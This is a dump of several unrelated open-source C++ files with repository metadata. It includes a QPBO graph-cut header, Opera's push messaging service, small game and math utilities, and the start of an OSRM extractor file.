if (IsNode0(arcs[0][2*e+1].head))
{
a = &arcs[0][2*e];
a_mate = &arcs[1][2*e];
}
else
{
a = &arcs[1][2*e+1];
a_mate = &arcs[0][2*e+1];
}
Node* i = a->sister->head;
Node* j = a->head;
_i = (int)(i - nodes[0]);
if (IsNode0(j))
{
E00 = E11 = 0;
if (stage == 0) { E01 = 2*a->r_cap; E10 = 2*a->sister->r_cap; }
else { E01 = a->r_cap + a_mate->r_cap; E10 = a->sister->r_cap + a_mate->sister->r_cap; }
_j = (int)(j - nodes[0]);
}
else
{
E01 = E10 = 0;
if (stage == 0) { E00 = 2*a->r_cap; E11 = 2*a->sister->r_cap; }
else { E00 = a->r_cap + a_mate->r_cap; E11 = a->sister->r_cap + a_mate->sister->r_cap; }
_j = (int)(j - nodes[1]);
}
}
template <typename REAL>
inline int QPBO<REAL>::GetNodeNum()
{
return (int)(node_last[0] - nodes[0]);
}
template <typename REAL>
inline typename QPBO<REAL>::EdgeId QPBO<REAL>::GetNextEdgeId(EdgeId e)
{
Arc* a;
for (a=&arcs[0][2*(++e)]; a<arc_max[0]; a+=2, e++)
{
if (a->sister) return e;
}
return -1;
}
template <typename REAL>
inline int QPBO<REAL>::GetMaxEdgeNum()
{
return (int)(arc_max[0]-arcs[0])/2;
}
template <typename REAL>
inline void QPBO<REAL>::ComputeWeights(
REAL A, REAL B, REAL C, REAL D, // input - E00=A, E01=B, E10=C, E11=D
REAL& ci, REAL& cj, REAL& cij, REAL& cji // output - edge weights
)
{
/*
E = A A + 0 B-A
D D C-D 0
Add edges for the first term
*/
ci = D - A;
B -= A; C -= D;
/* now need to represent
0 B
C 0
*/
if (B < 0)
{
/* Write it as
B B + -B 0 + 0 0
0 0 -B 0 B+C 0
*/
ci += -B; /* first term */
cj = B; /* second term */
cji = B+C; /* third term */
cij = 0;
}
else if (C < 0)
{
/* Write it as
-C -C + C 0 + 0 B+C
0 0 C 0 0 0
*/
ci += C; /* first term */
cj = -C; /* second term */
cij = B+C; /* third term */
cji = 0;
}
else /* B >= 0, C >= 0 */
{
cj = 0;
cij = B;
cji = C;
}
}
/*
special constants for node->parent
*/
#define QPBO_MAXFLOW_TERMINAL ( (Arc *) 1 ) /* to terminal */
#define QPBO_MAXFLOW_ORPHAN ( (Arc *) 2 ) /* orphan */
}}
#endif
|
[
"berengere@ordithorynque.home"
] |
berengere@ordithorynque.home
|
f2b8215de03bca22f6512f6c0f05cb200c695671
|
425d365094a1a935c6136531047074ddca89e4b7
|
/him.cpp
|
dc9768556517219c5125c9d98e6ae9b63929597a
|
[] |
no_license
|
himanshudav/hello-world
|
37b3b428510e3b5b0506e0742d0ec171e34a5506
|
71768f3e158745a8bc05bcf18abaf2e0e76e0582
|
refs/heads/master
| 2021-05-01T15:04:15.383613
| 2018-02-13T08:35:52
| 2018-02-13T08:35:52
| 121,029,954
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 41
|
cpp
|
fklsjfd
df
sdf
sd
g
dsf
sd
fd
s
|
[
"noreply@github.com"
] |
himanshudav.noreply@github.com
|
2fbdd55eda7b5a4cfaaf12cb7394d66726bc0e87
|
4d0df7dfa92a8d2d58d40fe74e16ad3337afe6e5
|
/dreco-engine/src/utils/math_utils.hxx
|
1af003f7a15074d75ca65dace22015fed04b2678
|
[
"MIT"
] |
permissive
|
GloryOfNight/dreco-engine
|
e7d49f33dd3ab4817dac7f7939c920a6cdbd517e
|
1d29b747dc9277cbc5952b31833403a65a4d9c71
|
refs/heads/master
| 2020-07-22T06:34:48.329164
| 2020-04-03T15:42:45
| 2020-04-03T15:42:45
| 207,102,386
| 1
| 0
|
MIT
| 2020-01-07T09:47:42
| 2019-09-08T11:28:02
|
C++
|
UTF-8
|
C++
| false
| false
| 444
|
hxx
|
#pragma once
#include "math/mat2x3.hxx"
#include "math/vectors.hxx"
namespace dreco
{
class math_utils
{
public:
// UnProject screen coordinates to world
static vec2 UnProject(const vec2& _screen_coord, const vec2& _viewport_size,
const mat2x3& _v, const mat2x3& _p);
static mat2x3 CreateProjectionMatrix2D(
const float right, const float left, const float top, const float bottom);
};
}
|
[
"siarhei.dziki@gmail.com"
] |
siarhei.dziki@gmail.com
|
f0ac5da02f81c153e84d570ae92841737b63dff5
|
0dec0cd9e30817b93aa6d91befc67bbcb19ba84a
|
/games/JumpMan/BasicEnemy.cpp
|
6c2a72a20063a7bbb486632f5e3da57150dab791
|
[] |
no_license
|
ratalaika/playallthegames
|
a233181b79502c2b622326d1a3714963d168b791
|
38ec754ae956d935444abdcc808159f920e41b46
|
refs/heads/master
| 2021-01-16T19:04:36.936018
| 2015-03-04T00:08:38
| 2015-03-04T00:08:38
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 95
|
cpp
|
#include "BasicEnemy.h"
void BasicEnemy::update( float speed )
{
position.x -= 13*speed;
}
|
[
"borfje@gmail.com"
] |
borfje@gmail.com
|
083c0a008c37d5aa005099907314205b7de5d240
|
1fe10ee5e34cd76067c720ef4b4a054f6107b286
|
/mobile/mobile/src/chill/browser/push_messaging/opera_push_messaging_service.cc
|
05d69d14fc2bf6f65889431bda0deffb2d010090
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
bopopescu/ofa
|
9f001c4f36b07fa27347ade37337422fd6719dcc
|
84e319101d4a1200657337dcdf9ed3857fc59e03
|
refs/heads/master
| 2021-06-14T08:53:05.865737
| 2017-04-03T12:50:44
| 2017-04-03T12:50:44
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 27,544
|
cc
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Modified by Opera Software AS
// @copied-from chromium/src/browser/push_messaging/push_messaging_service_impl.cc
// @final-synchronized
#include "chill/browser/push_messaging/opera_push_messaging_service.h"
#include "base/barrier_closure.h"
#include "base/base64url.h"
#include "base/callback_helpers.h"
#include "chill/browser/opera_browser_context.h"
#include "chill/browser/push_messaging/push_messaging_app_identifier.h"
#include "chill/browser/push_messaging/push_messaging_constants.h"
#include "components/gcm_driver/gcm_driver.h"
#include "components/gcm_driver/gcm_driver_android.h"
#include "components/gcm_driver/gcm_driver_constants.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/permission_manager.h"
#include "content/public/browser/permission_type.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/web_contents.h"
#include "content/public/common/push_subscription_options.h"
namespace opera {
namespace {
const int kMaxRegistrations = 1000000;
// Chrome does not yet support silent push messages, and requires websites to
// indicate that they will only send user-visible messages.
const char kSilentPushUnsupportedMessage[] =
"Chrome currently only supports the Push API for subscriptions that will "
"result in user-visible messages. You can indicate this by calling "
"pushManager.subscribe({userVisibleOnly: true}) instead. See "
"https://goo.gl/yqv4Q4 for more details.";
blink::WebPushPermissionStatus ToPushPermission(
blink::mojom::PermissionStatus permission_status) {
switch (permission_status) {
case blink::mojom::PermissionStatus::GRANTED:
return blink::WebPushPermissionStatusGranted;
case blink::mojom::PermissionStatus::DENIED:
return blink::WebPushPermissionStatusDenied;
case blink::mojom::PermissionStatus::ASK:
return blink::WebPushPermissionStatusPrompt;
default:
NOTREACHED();
return blink::WebPushPermissionStatusDenied;
}
}
void UnregisterCallbackToClosure(const base::Closure& closure,
content::PushUnregistrationStatus status) {
closure.Run();
}
} // namespace
// static
void OperaPushMessagingService::InitializeForContext(
content::BrowserContext* context) {
// TODO(johnme): Consider whether push should be enabled in incognito.
if (!context || context->IsOffTheRecord())
return;
int count = PushMessagingAppIdentifier::GetCount(nullptr);
if (count <= 0)
return;
OperaPushMessagingService* push_service =
static_cast<OperaPushMessagingService*>(
context->GetPushMessagingService());
push_service->IncreasePushSubscriptionCount(count, false /* is_pending */);
std::vector<PushMessagingAppIdentifier> all =
PushMessagingAppIdentifier::GetAll(nullptr);
for (PushMessagingAppIdentifier app_identifier : all)
push_service->SubscribePermissionChange(app_identifier.origin());
}
OperaPushMessagingService::OperaPushMessagingService(
content::BrowserContext* context)
: context_(context),
push_subscription_count_(0),
pending_push_subscription_count_(0),
weak_factory_(this),
visibility_enforcer_(context_) {
DCHECK(context);
}
OperaPushMessagingService::~OperaPushMessagingService() {
UnsubscribeAllPermissionChangeCallbacks();
}
void OperaPushMessagingService::IncreasePushSubscriptionCount(int add,
bool is_pending) {
DCHECK(add > 0);
if (push_subscription_count_ + pending_push_subscription_count_ == 0) {
GetGCMDriver()->AddAppHandler(kPushMessagingAppIdentifierPrefix, this);
}
if (is_pending) {
pending_push_subscription_count_ += add;
} else {
push_subscription_count_ += add;
}
}
void OperaPushMessagingService::DecreasePushSubscriptionCount(
int subtract,
bool was_pending) {
DCHECK(subtract > 0);
if (was_pending) {
pending_push_subscription_count_ -= subtract;
DCHECK(pending_push_subscription_count_ >= 0);
} else {
push_subscription_count_ -= subtract;
DCHECK(push_subscription_count_ >= 0);
}
if (push_subscription_count_ + pending_push_subscription_count_ == 0) {
GetGCMDriver()->RemoveAppHandler(kPushMessagingAppIdentifierPrefix);
}
}
bool OperaPushMessagingService::CanHandle(const std::string& app_id) const {
return !PushMessagingAppIdentifier::FindByAppId(nullptr, app_id).is_null();
}
void OperaPushMessagingService::ShutdownHandler() {
// Shutdown() should come before and it removes us from the list of app
// handlers of gcm::GCMDriver so this shouldn't ever been called.
NOTREACHED();
}
// OnMessage methods -----------------------------------------------------------
void OperaPushMessagingService::OnMessage(const std::string& app_id,
const gcm::IncomingMessage& message) {
in_flight_message_deliveries_.insert(app_id);
base::Closure message_handled_closure = base::Bind(&base::DoNothing);
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::FindByAppId(nullptr, app_id);
// Drop message and unregister if app_id was unknown (maybe recently deleted).
if (app_identifier.is_null()) {
DeliverMessageCallback(app_id, GURL::EmptyGURL(), -1, message,
message_handled_closure,
content::PUSH_DELIVERY_STATUS_UNKNOWN_APP_ID);
return;
}
// Drop message and unregister if |origin| has lost push permission.
if (!IsPermissionSet(app_identifier.origin())) {
DeliverMessageCallback(app_id, app_identifier.origin(),
app_identifier.service_worker_registration_id(),
message, message_handled_closure,
content::PUSH_DELIVERY_STATUS_PERMISSION_DENIED);
return;
}
// The payload of a push message can be valid with content, valid with empty
// content, or null. Only set the payload data if it is non-null.
content::PushEventPayload payload;
if (message.decrypted)
payload.setData(message.raw_data);
visibility_enforcer_.IncMessages();
// Dispatch the message to the appropriate Service Worker.
content::BrowserContext::DeliverPushMessage(
context_, app_identifier.origin(),
app_identifier.service_worker_registration_id(), payload,
base::Bind(&OperaPushMessagingService::DeliverMessageCallback,
weak_factory_.GetWeakPtr(), app_identifier.app_id(),
app_identifier.origin(),
app_identifier.service_worker_registration_id(), message,
message_handled_closure));
}
void OperaPushMessagingService::DeliverMessageCallback(
const std::string& app_id,
const GURL& requesting_origin,
int64_t service_worker_registration_id,
const gcm::IncomingMessage& message,
const base::Closure& message_handled_closure,
content::PushDeliveryStatus status) {
DCHECK_GE(in_flight_message_deliveries_.count(app_id), 1u);
PushMessagingVisibilityEnforcer::AutoDecMessages auto_dec(
&visibility_enforcer_);
base::Closure completion_closure =
base::Bind(&OperaPushMessagingService::DidHandleMessage,
weak_factory_.GetWeakPtr(), app_id, message_handled_closure);
// The completion_closure should run by default at the end of this function,
// unless it is explicitly passed to another function.
base::ScopedClosureRunner completion_closure_runner(completion_closure);
// TODO(mvanouwerkerk): Show a warning in the developer console of the
// Service Worker corresponding to app_id (and/or on an internals page).
// See https://crbug.com/508516 for options.
switch (status) {
// Call EnforceUserVisibleOnlyRequirements if the message was delivered to
// the Service Worker JavaScript, even if the website's event handler failed
// (to prevent sites deliberately failing in order to avoid having to show
// notifications).
case content::PUSH_DELIVERY_STATUS_SUCCESS:
case content::PUSH_DELIVERY_STATUS_EVENT_WAITUNTIL_REJECTED:
visibility_enforcer_.EnforcePolicyAfterDelay(
requesting_origin, service_worker_registration_id, &auto_dec);
break;
case content::PUSH_DELIVERY_STATUS_SERVICE_WORKER_ERROR:
break;
case content::PUSH_DELIVERY_STATUS_UNKNOWN_APP_ID:
case content::PUSH_DELIVERY_STATUS_PERMISSION_DENIED:
case content::PUSH_DELIVERY_STATUS_NO_SERVICE_WORKER:
Unsubscribe(app_id, message.sender_id,
base::Bind(&UnregisterCallbackToClosure,
completion_closure_runner.Release()));
break;
}
}
void OperaPushMessagingService::DidHandleMessage(
const std::string& app_id,
const base::Closure& message_handled_closure) {
auto in_flight_iterator = in_flight_message_deliveries_.find(app_id);
DCHECK(in_flight_iterator != in_flight_message_deliveries_.end());
// Remove a single in-flight delivery for |app_id|. This has to be done using
// an iterator rather than by value, as the latter removes all entries.
in_flight_message_deliveries_.erase(in_flight_iterator);
message_handled_closure.Run();
}
// Other gcm::GCMAppHandler methods --------------------------------------------
void OperaPushMessagingService::OnMessagesDeleted(const std::string& app_id) {
// TODO(mvanouwerkerk): Consider firing an event on the Service Worker
// corresponding to |app_id| to inform the app about deleted messages.
}
void OperaPushMessagingService::OnSendError(
const std::string& app_id,
const gcm::GCMClient::SendErrorDetails& send_error_details) {
NOTREACHED() << "The Push API shouldn't have sent messages upstream";
}
void OperaPushMessagingService::OnSendAcknowledged(
const std::string& app_id,
const std::string& message_id) {
NOTREACHED() << "The Push API shouldn't have sent messages upstream";
}
// GetEndpoint method ------------------------------------------------------
GURL OperaPushMessagingService::GetEndpoint(bool standard_protocol) const {
return GURL(standard_protocol ? kPushMessagingPushProtocolEndpoint
: kPushMessagingGcmEndpoint);
}
// Subscribe and GetPermissionStatus methods -----------------------------------
void OperaPushMessagingService::SubscribeFromDocument(
const GURL& requesting_origin,
int64_t service_worker_registration_id,
int renderer_id,
int render_frame_id,
const content::PushSubscriptionOptions& options,
const content::PushMessagingService::RegisterCallback& callback) {
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::Generate(requesting_origin,
service_worker_registration_id);
if (push_subscription_count_ + pending_push_subscription_count_ >=
kMaxRegistrations) {
SubscribeEndWithError(callback,
content::PUSH_REGISTRATION_STATUS_LIMIT_REACHED);
return;
}
content::RenderFrameHost* render_frame_host =
content::RenderFrameHost::FromID(renderer_id, render_frame_id);
content::WebContents* web_contents =
content::WebContents::FromRenderFrameHost(render_frame_host);
if (!web_contents)
return;
if (!options.user_visible_only) {
web_contents->GetMainFrame()->AddMessageToConsole(
content::CONSOLE_MESSAGE_LEVEL_ERROR, kSilentPushUnsupportedMessage);
SubscribeEndWithError(callback,
content::PUSH_REGISTRATION_STATUS_PERMISSION_DENIED);
return;
}
// Push does not allow permission requests from iframes.
context_->GetPermissionManager()->RequestPermission(
content::PermissionType::PUSH_MESSAGING, web_contents->GetMainFrame(),
requesting_origin, false,
base::Bind(&OperaPushMessagingService::DidRequestPermission,
weak_factory_.GetWeakPtr(), app_identifier, options,
callback));
}
void OperaPushMessagingService::SubscribeFromWorker(
const GURL& requesting_origin,
int64_t service_worker_registration_id,
const content::PushSubscriptionOptions& options,
const content::PushMessagingService::RegisterCallback& register_callback) {
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::Generate(requesting_origin,
service_worker_registration_id);
if (push_subscription_count_ + pending_push_subscription_count_ >=
kMaxRegistrations) {
SubscribeEndWithError(register_callback,
content::PUSH_REGISTRATION_STATUS_LIMIT_REACHED);
return;
}
blink::WebPushPermissionStatus permission_status =
OperaPushMessagingService::GetPermissionStatus(requesting_origin,
options.user_visible_only);
if (permission_status != blink::WebPushPermissionStatusGranted) {
SubscribeEndWithError(register_callback,
content::PUSH_REGISTRATION_STATUS_PERMISSION_DENIED);
return;
}
IncreasePushSubscriptionCount(1, true /* is_pending */);
std::vector<std::string> sender_ids(1,
NormalizeSenderInfo(options.sender_info));
GetGCMDriver()->Register(app_identifier.app_id(), sender_ids,
base::Bind(&OperaPushMessagingService::DidSubscribe,
weak_factory_.GetWeakPtr(),
app_identifier, register_callback));
}
blink::WebPushPermissionStatus OperaPushMessagingService::GetPermissionStatus(
const GURL& origin,
bool user_visible) {
if (!user_visible)
return blink::WebPushPermissionStatusDenied;
// Because the Push API is tied to Service Workers, many usages of the API
// won't have an embedding origin at all. Only consider the requesting
// |origin| when checking whether permission to use the API has been granted.
return ToPushPermission(context_->GetPermissionManager()->GetPermissionStatus(
content::PermissionType::PUSH_MESSAGING, origin, origin));
}
bool OperaPushMessagingService::SupportNonVisibleMessages() {
return false;
}
void OperaPushMessagingService::SubscribeEnd(
const content::PushMessagingService::RegisterCallback& callback,
const std::string& subscription_id,
const std::vector<uint8_t>& p256dh,
const std::vector<uint8_t>& auth,
content::PushRegistrationStatus status) {
callback.Run(subscription_id, p256dh, auth, status);
}
void OperaPushMessagingService::SubscribeEndWithError(
const content::PushMessagingService::RegisterCallback& callback,
content::PushRegistrationStatus status) {
SubscribeEnd(callback, std::string() /* subscription_id */,
std::vector<uint8_t>() /* p256dh */,
std::vector<uint8_t>() /* auth */, status);
}
void OperaPushMessagingService::DidSubscribe(
const PushMessagingAppIdentifier& app_identifier,
const content::PushMessagingService::RegisterCallback& callback,
const std::string& subscription_id,
gcm::GCMClient::Result result) {
DecreasePushSubscriptionCount(1, true /* was_pending */);
content::PushRegistrationStatus status =
content::PUSH_REGISTRATION_STATUS_SERVICE_ERROR;
switch (result) {
case gcm::GCMClient::SUCCESS:
// Make sure that this subscription has associated encryption keys prior
// to returning it to the developer - they'll need this information in
// order to send payloads to the user.
GetGCMDriver()->GetEncryptionInfo(
app_identifier.app_id(),
base::Bind(&OperaPushMessagingService::DidSubscribeWithEncryptionInfo,
weak_factory_.GetWeakPtr(), app_identifier, callback,
subscription_id));
return;
case gcm::GCMClient::INVALID_PARAMETER:
case gcm::GCMClient::GCM_DISABLED:
case gcm::GCMClient::ASYNC_OPERATION_PENDING:
case gcm::GCMClient::SERVER_ERROR:
case gcm::GCMClient::UNKNOWN_ERROR:
status = content::PUSH_REGISTRATION_STATUS_SERVICE_ERROR;
break;
case gcm::GCMClient::NETWORK_ERROR:
case gcm::GCMClient::TTL_EXCEEDED:
status = content::PUSH_REGISTRATION_STATUS_NETWORK_ERROR;
break;
}
SubscribeEndWithError(callback, status);
}
void OperaPushMessagingService::DidSubscribeWithEncryptionInfo(
const PushMessagingAppIdentifier& app_identifier,
const content::PushMessagingService::RegisterCallback& callback,
const std::string& subscription_id,
const std::string& p256dh,
const std::string& auth_secret) {
if (!p256dh.size()) {
SubscribeEndWithError(
callback, content::PUSH_REGISTRATION_STATUS_PUBLIC_KEY_UNAVAILABLE);
return;
}
app_identifier.PersistToPrefs(nullptr);
SubscribePermissionChange(app_identifier.origin());
IncreasePushSubscriptionCount(1, false /* is_pending */);
SubscribeEnd(callback, subscription_id,
std::vector<uint8_t>(p256dh.begin(), p256dh.end()),
std::vector<uint8_t>(auth_secret.begin(), auth_secret.end()),
content::PUSH_REGISTRATION_STATUS_SUCCESS_FROM_PUSH_SERVICE);
}
void OperaPushMessagingService::DidRequestPermission(
const PushMessagingAppIdentifier& app_identifier,
const content::PushSubscriptionOptions& options,
const content::PushMessagingService::RegisterCallback& register_callback,
blink::mojom::PermissionStatus permission_status) {
if (permission_status != blink::mojom::PermissionStatus::GRANTED) {
SubscribeEndWithError(register_callback,
content::PUSH_REGISTRATION_STATUS_PERMISSION_DENIED);
return;
}
IncreasePushSubscriptionCount(1, true /* is_pending */);
std::vector<std::string> sender_ids(1,
NormalizeSenderInfo(options.sender_info));
GetGCMDriver()->Register(app_identifier.app_id(), sender_ids,
base::Bind(&OperaPushMessagingService::DidSubscribe,
weak_factory_.GetWeakPtr(),
app_identifier, register_callback));
}
// GetEncryptionInfo methods ---------------------------------------------------
void OperaPushMessagingService::GetEncryptionInfo(
const GURL& origin,
int64_t service_worker_registration_id,
const std::string& sender_id,
const PushMessagingService::EncryptionInfoCallback& callback) {
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::FindByServiceWorker(
nullptr, origin, service_worker_registration_id);
DCHECK(!app_identifier.is_null());
GetGCMDriver()->GetEncryptionInfo(
app_identifier.app_id(),
base::Bind(&OperaPushMessagingService::DidGetEncryptionInfo,
weak_factory_.GetWeakPtr(), callback));
}
void OperaPushMessagingService::DidGetEncryptionInfo(
const PushMessagingService::EncryptionInfoCallback& callback,
const std::string& p256dh,
const std::string& auth_secret) const {
// I/O errors might prevent the GCM Driver from retrieving a key-pair.
const bool success = !!p256dh.size();
callback.Run(success, std::vector<uint8_t>(p256dh.begin(), p256dh.end()),
std::vector<uint8_t>(auth_secret.begin(), auth_secret.end()));
}
// Unsubscribe methods ---------------------------------------------------------
void OperaPushMessagingService::Unsubscribe(
const GURL& requesting_origin,
int64_t service_worker_registration_id,
const std::string& sender_id,
const content::PushMessagingService::UnregisterCallback& callback) {
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::FindByServiceWorker(
nullptr, requesting_origin, service_worker_registration_id);
if (app_identifier.is_null()) {
if (!callback.is_null()) {
callback.Run(
content::PUSH_UNREGISTRATION_STATUS_SUCCESS_WAS_NOT_REGISTERED);
}
return;
}
Unsubscribe(app_identifier.app_id(), sender_id, callback);
}
void OperaPushMessagingService::Unsubscribe(
const std::string& app_id,
const std::string& sender_id,
const content::PushMessagingService::UnregisterCallback& callback) {
// Delete the mapping for this app_id, to guarantee that no messages get
// delivered in future (even if unregistration fails).
// TODO(johnme): Instead of deleting these app ids, store them elsewhere, and
// retry unregistration if it fails due to network errors (crbug.com/465399).
PushMessagingAppIdentifier app_identifier =
PushMessagingAppIdentifier::FindByAppId(nullptr, app_id);
bool was_registered = !app_identifier.is_null();
if (was_registered) {
app_identifier.DeleteFromPrefs(nullptr);
UnsubscribePermissionChange(app_identifier.origin());
}
const auto& unregister_callback =
base::Bind(&OperaPushMessagingService::DidUnsubscribe,
weak_factory_.GetWeakPtr(), was_registered, callback);
// On Android the backend is different, and requires the original sender_id.
// UnsubscribeBecausePermissionRevoked sometimes calls us with an empty one.
if (sender_id.empty()) {
unregister_callback.Run(gcm::GCMClient::INVALID_PARAMETER);
} else {
GetGCMDriver()->UnregisterWithSenderId(
app_id, NormalizeSenderInfo(sender_id), unregister_callback);
}
}
void OperaPushMessagingService::DidUnsubscribe(
bool was_subscribed,
const content::PushMessagingService::UnregisterCallback& callback,
gcm::GCMClient::Result result) {
if (was_subscribed)
DecreasePushSubscriptionCount(1, false /* was_pending */);
// Internal calls pass a null callback.
if (callback.is_null())
return;
if (!was_subscribed) {
callback.Run(
content::PUSH_UNREGISTRATION_STATUS_SUCCESS_WAS_NOT_REGISTERED);
return;
}
switch (result) {
case gcm::GCMClient::SUCCESS:
callback.Run(content::PUSH_UNREGISTRATION_STATUS_SUCCESS_UNREGISTERED);
break;
case gcm::GCMClient::INVALID_PARAMETER:
case gcm::GCMClient::GCM_DISABLED:
case gcm::GCMClient::SERVER_ERROR:
case gcm::GCMClient::UNKNOWN_ERROR:
callback.Run(content::PUSH_UNREGISTRATION_STATUS_PENDING_SERVICE_ERROR);
break;
case gcm::GCMClient::ASYNC_OPERATION_PENDING:
case gcm::GCMClient::NETWORK_ERROR:
case gcm::GCMClient::TTL_EXCEEDED:
callback.Run(content::PUSH_UNREGISTRATION_STATUS_PENDING_NETWORK_ERROR);
break;
}
}
void OperaPushMessagingService::UnsubscribeBecausePermissionRevoked(
const PushMessagingAppIdentifier& app_identifier,
const base::Closure& closure,
const std::string& sender_id,
bool success,
bool not_found) {
base::Closure barrier_closure = base::BarrierClosure(2, closure);
// Unsubscribe the PushMessagingAppIdentifier with the push service.
// It's possible for GetSenderId to have failed and sender_id to be empty, if
// cookies (and the SW database) for an origin got cleared before permissions
// are cleared for the origin. In that case Unsubscribe will just delete the
// app identifier to block future messages.
// TODO(johnme): Auto-unregister before SW DB is cleared
// (https://crbug.com/402458).
Unsubscribe(app_identifier.app_id(), sender_id,
base::Bind(&UnregisterCallbackToClosure, barrier_closure));
// Clear the associated service worker push registration id.
ClearPushSubscriptionId(context_, app_identifier.origin(),
app_identifier.service_worker_registration_id(),
barrier_closure);
}
void OperaPushMessagingService::Shutdown() {
GetGCMDriver()->RemoveAppHandler(kPushMessagingAppIdentifierPrefix);
}
// Helper methods --------------------------------------------------------------
std::string OperaPushMessagingService::NormalizeSenderInfo(
const std::string& sender_info) const {
// Only encode the |sender_info| when it is a NIST P-256 public key in
// uncompressed format, verified through its length and the 0x04 prefix byte.
if (sender_info.size() != 65 || sender_info[0] != 0x04)
return sender_info;
std::string encoded_sender_info;
base::Base64UrlEncode(sender_info, base::Base64UrlEncodePolicy::OMIT_PADDING,
&encoded_sender_info);
return encoded_sender_info;
}
// Assumes user_visible always since this is just meant to check
// if the permission was previously granted and not revoked.
bool OperaPushMessagingService::IsPermissionSet(const GURL& origin) {
return GetPermissionStatus(origin, true /* user_visible */) ==
blink::WebPushPermissionStatusGranted;
}
gcm::GCMDriver* OperaPushMessagingService::GetGCMDriver() {
if (driver_)
return driver_.get();
base::SequencedWorkerPool* worker_pool =
content::BrowserThread::GetBlockingPool();
scoped_refptr<base::SequencedTaskRunner> blocking_task_runner(
worker_pool->GetSequencedTaskRunnerWithShutdownBehavior(
worker_pool->GetSequenceToken(),
base::SequencedWorkerPool::SKIP_ON_SHUTDOWN));
driver_.reset(new gcm::GCMDriverAndroid(
context_->GetPath().Append(gcm_driver::kGCMStoreDirname),
blocking_task_runner));
return driver_.get();
}
// OperaPermissionManager methods ----------------------------------------------
void OperaPushMessagingService::OnPermissionChanged(
const GURL& origin,
blink::mojom::PermissionStatus status) {
if (status == blink::mojom::PermissionStatus::GRANTED)
return;
std::vector<PushMessagingAppIdentifier> all =
PushMessagingAppIdentifier::GetAll(nullptr);
for (const PushMessagingAppIdentifier& app_identifier : all) {
if (app_identifier.origin() != origin)
continue;
GetSenderId(
context_, app_identifier.origin(),
app_identifier.service_worker_registration_id(),
base::Bind(
&OperaPushMessagingService::UnsubscribeBecausePermissionRevoked,
weak_factory_.GetWeakPtr(), app_identifier,
base::Bind(&base::DoNothing)));
}
}
void OperaPushMessagingService::SubscribePermissionChange(const GURL& origin) {
if (permission_subscriptions_.find(origin) != permission_subscriptions_.end())
return;
content::PermissionManager* permission_manager =
context_->GetPermissionManager();
int id = permission_manager->SubscribePermissionStatusChange(
content::PermissionType::PUSH_MESSAGING, origin, origin,
base::Bind(&OperaPushMessagingService::OnPermissionChanged,
weak_factory_.GetWeakPtr(), origin));
permission_subscriptions_.insert(std::make_pair(origin, id));
}
void OperaPushMessagingService::UnsubscribePermissionChange(
const GURL& origin) {
const auto i = permission_subscriptions_.find(origin);
if (i == permission_subscriptions_.end())
return;
content::PermissionManager* permission_manager =
context_->GetPermissionManager();
permission_manager->UnsubscribePermissionStatusChange(i->second);
permission_subscriptions_.erase(i);
}
void OperaPushMessagingService::UnsubscribeAllPermissionChangeCallbacks() {
content::PermissionManager* permission_manager =
context_->GetPermissionManager();
for (const auto& i : permission_subscriptions_)
permission_manager->UnsubscribePermissionStatusChange(i.second);
}
} // namespace opera
|
[
"jimmym@opera.com"
] |
jimmym@opera.com
|
918ef7bb092bebb631a1c88d781e072063c68c91
|
b225ec16f609bbd6dafcb5df6209dbf4cc882929
|
/osrm-backend/extractor/extractor_callbacks.cpp
|
622876f6e71563cd901672f357d0f8f7afec01ab
|
[
"BSD-2-Clause"
] |
permissive
|
glenstarchman/maiden
|
520662b67479ed97acca4945e5c9ad7cb5407014
|
b1ac886ad5aead1761bd83aef7b4f744aa89bcd2
|
refs/heads/master
| 2021-05-31T20:40:53.184493
| 2016-02-04T13:54:31
| 2016-02-04T13:54:31
| 47,891,214
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 10,789
|
cpp
|
/*
Copyright (c) 2015, Project OSRM contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "extractor_callbacks.hpp"
#include "extraction_containers.hpp"
#include "extraction_node.hpp"
#include "extraction_way.hpp"
#include "../data_structures/external_memory_node.hpp"
#include "../data_structures/restriction.hpp"
#include "../util/container.hpp"
#include "../util/simple_logger.hpp"
#include <boost/optional/optional.hpp>
#include <osmium/osm.hpp>
#include <osrm/coordinate.hpp>
#include <limits>
#include <string>
#include <vector>
ExtractorCallbacks::ExtractorCallbacks(ExtractionContainers &extraction_containers)
: external_memory(extraction_containers)
{
string_map[""] = 0;
}
/**
* Takes the node position from osmium and the filtered properties from the lua
* profile and saves them to external memory.
*
